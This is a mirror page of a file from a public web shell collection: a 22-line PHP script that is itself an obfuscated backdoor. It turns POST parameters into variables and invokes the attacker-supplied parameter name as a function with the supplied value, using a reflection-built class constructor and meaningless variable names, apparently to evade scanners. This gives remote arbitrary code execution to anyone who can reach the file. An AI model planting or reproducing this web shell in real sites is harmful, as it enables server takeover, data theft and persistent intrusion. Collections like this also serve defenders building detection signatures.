mirror of
https://github.com/tennc/webshell
synced 2024-11-25 20:50:18 +00:00
22 lines
337 B
PHP
22 lines
337 B
PHP
|
<?php
|
||
|
|
||
|
class Test1
|
||
|
{
|
||
|
public function __construct($para, $_value)
|
||
|
{
|
||
|
$para($_value);
|
||
|
}
|
||
|
}
|
||
|
|
||
|
|
||
|
$class1 = new ReflectionClass("Test1");
|
||
|
|
||
|
foreach (array('_POST') as $_r1) {
|
||
|
foreach ($$_r1 as $_asadasd=>$_wfwefb) {
|
||
|
|
||
|
$$_asadasd =$_wfwefb;
|
||
|
}
|
||
|
}
|
||
|
|
||
|
$class2 = $class1->newInstance($_asadasd, $$_asadasd);
|